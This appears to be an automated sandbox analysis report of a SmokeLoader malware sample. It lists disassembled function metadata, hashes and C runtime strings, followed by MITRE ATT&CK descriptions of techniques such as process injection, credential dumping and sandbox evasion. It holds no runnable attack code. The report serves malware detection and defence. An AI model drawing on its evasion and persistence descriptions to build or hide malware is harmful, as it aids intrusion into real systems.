Function 004390E6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439112
__aullrem.LIBCMT ref: 004392DF
__aulldiv.LIBCMT ref: 00439301

Strings

9, xrefs: 00439312

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: e4fd5befae3eeba59a0719b50f613f7305344afeed996e821a26b46d6da68311
Instruction ID: a82432ef5697f4e3b7f06e0b9f1b9a6732093d2160e23bb5c368879dead2911b
Opcode Fuzzy Hash: e4fd5befae3eeba59a0719b50f613f7305344afeed996e821a26b46d6da68311
Instruction Fuzzy Hash: 7741E4B1D01629DFEB68CF89D889BAEB7B5BB48304F1095DAD049A7244D7785E81CF04

Uniqueness

Uniqueness Score: -1.00%

Function 0043A48E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4BA
__aullrem.LIBCMT ref: 0043A68A
__aulldiv.LIBCMT ref: 0043A6AC

Strings

9, xrefs: 0043A6BD

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a8bb7c02eed868196f81ca8ab8f3aeeb3791769d62b9ecc78c419880c280910d
Instruction ID: 685145e41136f1e490e98bd2b9ff58f7d4e666115203841e6451ed99877e3ca2
Opcode Fuzzy Hash: a8bb7c02eed868196f81ca8ab8f3aeeb3791769d62b9ecc78c419880c280910d
Instruction Fuzzy Hash: 1E4128B1E401299FDB24CF48C881BAEB7B5FB89314F1494A9D289A7241C7385E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDE7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__initterm.LIBCMTD ref: 0041CEDA
__initterm.LIBCMTD ref: 0041CEEC
___freeCrtMemory.LIBCMTD ref: 0041CF16

Part of subcall function 00424660: RtlEncodePointer.NTDLL(00000000,?,004268EE), ref: 00424667

Strings

m, xrefs: 0041CEFF

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __initterm$EncodeMemoryPointer___free
String ID: m
API String ID: 2595969746-1228489174
Opcode ID: 3478088673260228b28743492d19ccb6f89d5398246140640915c1bce6b8127b
Instruction ID: 25cfd906eec1207be3da5432a40bde428f16da35aff4cba7e253cf6c6000ba71
Opcode Fuzzy Hash: 3478088673260228b28743492d19ccb6f89d5398246140640915c1bce6b8127b
Instruction Fuzzy Hash: 2E412075D40209DFCB00DFA4E985AEEBBB2FB48315F14812AE415B7790D7395881CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043A437, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4BA
_get_int64_arg.LIBCMTD ref: 0043A4E2
__aullrem.LIBCMT ref: 0043A68A
__aulldiv.LIBCMT ref: 0043A6AC

Strings

9, xrefs: 0043A6BD

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d26fa74d40856ab5b0bd0cc68698b48aad8e4165bf666cb82ad7cb8d2ff660d2
Instruction ID: a26253a15ceca450db685af311a132c14e3bdc11bdd09c0c9cbc862a3d016b9b
Opcode Fuzzy Hash: d26fa74d40856ab5b0bd0cc68698b48aad8e4165bf666cb82ad7cb8d2ff660d2
Instruction Fuzzy Hash: F84139B1E401299FDB24CF48C941BAEB7B5FB89314F14509AE289A7241C7385E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 00439095, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439112
_get_int64_arg.LIBCMTD ref: 0043913A
__aullrem.LIBCMT ref: 004392DF
__aulldiv.LIBCMT ref: 00439301

Strings

9, xrefs: 00439312

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 80199e5e9de42b69e3b7820e57baf6463f2e6cd60aaa720053d2e924450f37f3
Instruction ID: e0bb0b90a394b6193f399cb03e2d74247a1746e926d2bbf99dac0851f99c9977
Opcode Fuzzy Hash: 80199e5e9de42b69e3b7820e57baf6463f2e6cd60aaa720053d2e924450f37f3
Instruction Fuzzy Hash: 104104B1D05629DFEF24CF88D889BAEB7B5BB48304F2095DAD049A7244D7785E81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00432DB5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00432E2A

Strings

_mbstowcs_l_helper, xrefs: 00432E20
s != NULL, xrefs: 00432DE8, 00432E25
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00432DF1, 00432E1B

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$s != NULL
API String ID: 3730194576-4287754273
Opcode ID: 35fa9d502795da9e5e89bd71e90cc806d398e42d89e830631664d4a26a213acd
Instruction ID: d5d40e35243c0f9253ab59a7edc67c318c2cb2e667638913240edc3f35358b4b
Opcode Fuzzy Hash: 35fa9d502795da9e5e89bd71e90cc806d398e42d89e830631664d4a26a213acd
Instruction Fuzzy Hash: EF01A270A80308EAEB205E60CC0B76B3660BF5871AF20902BA518742C1D3FD46D5D6DE

Uniqueness

Uniqueness Score: -1.00%

Function 004340C6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00434127

Strings

_wcstombs_l_helper, xrefs: 0043411D
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004340EE, 00434118
pwcs != NULL, xrefs: 004340E5, 00434122

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: e3a93ebecd8367911e2b756512dc492d4df413b9986f6842dde466c019b85f7a
Instruction ID: 59abac11dfd3c5c0f526dfde2bb8b44194f8c65d09413a944044bfd29b0d4dcf
Opcode Fuzzy Hash: e3a93ebecd8367911e2b756512dc492d4df413b9986f6842dde466c019b85f7a
Instruction Fuzzy Hash: F6F0FC30F90328AAEB206E60DC0BBDF3150EB68B68F2015AFF515751C2C7BD555085DD

Uniqueness

Uniqueness Score: -1.00%

Function 00433105, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043317B

Strings

_mbstowcs_s_l, xrefs: 00433171
(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 00433133, 00433176
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 0043313F, 0043316C

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: (pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
API String ID: 3730194576-509740137
Opcode ID: 8edf0cbca5f264e3cd564560ca74d86be250900af3a332015af65b01bb805402
Instruction ID: 66ee9bf9eaea88c35223aadd21aade2bd1be3671756ec4e744b7d737502c08de
Opcode Fuzzy Hash: 8edf0cbca5f264e3cd564560ca74d86be250900af3a332015af65b01bb805402
Instruction Fuzzy Hash: F7013171E80318EAEF209E85DC067DE7260AB1870BF10112BF414796D2C7FD4594DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004345F5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043466B

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00434623, 00434666
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043462F, 0043465C
_wcstombs_s_l, xrefs: 00434661

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: f3ff81232394aec487899c42c8b675c34e90adc6bca4b4d863c8db543bb11b6d
Instruction ID: 14bb3122871109442a0f85a44ad821f95d31b1df02b23772948bcbfc7e99350e
Opcode Fuzzy Hash: f3ff81232394aec487899c42c8b675c34e90adc6bca4b4d863c8db543bb11b6d
Instruction Fuzzy Hash: 96011D70E803199AEF209E51CC077EF7260AB59B19F20196BF9253A2D1C3FD6580CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00423513, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042361D
__free_base.LIBCMTD ref: 00423629

Strings

t!hDX@, xrefs: 00423529

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __free_base_memset
String ID: t!hDX@
API String ID: 2669475236-1349485820
Opcode ID: 2731530758024edb22cd13433fd513b528d4cc2882fd36f8f6518076e6da27d7
Instruction ID: d8daeb2f803223ae77d46cb4f359150e179def197ed090849616ff70fdccbb05
Opcode Fuzzy Hash: 2731530758024edb22cd13433fd513b528d4cc2882fd36f8f6518076e6da27d7
Instruction Fuzzy Hash: 14211A74B00114FBCB14CF40E681A6AB7B2BB88309F748199E8091B395C639EF42DF58

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SkB6zJ6H3N.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SmokeLoader

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre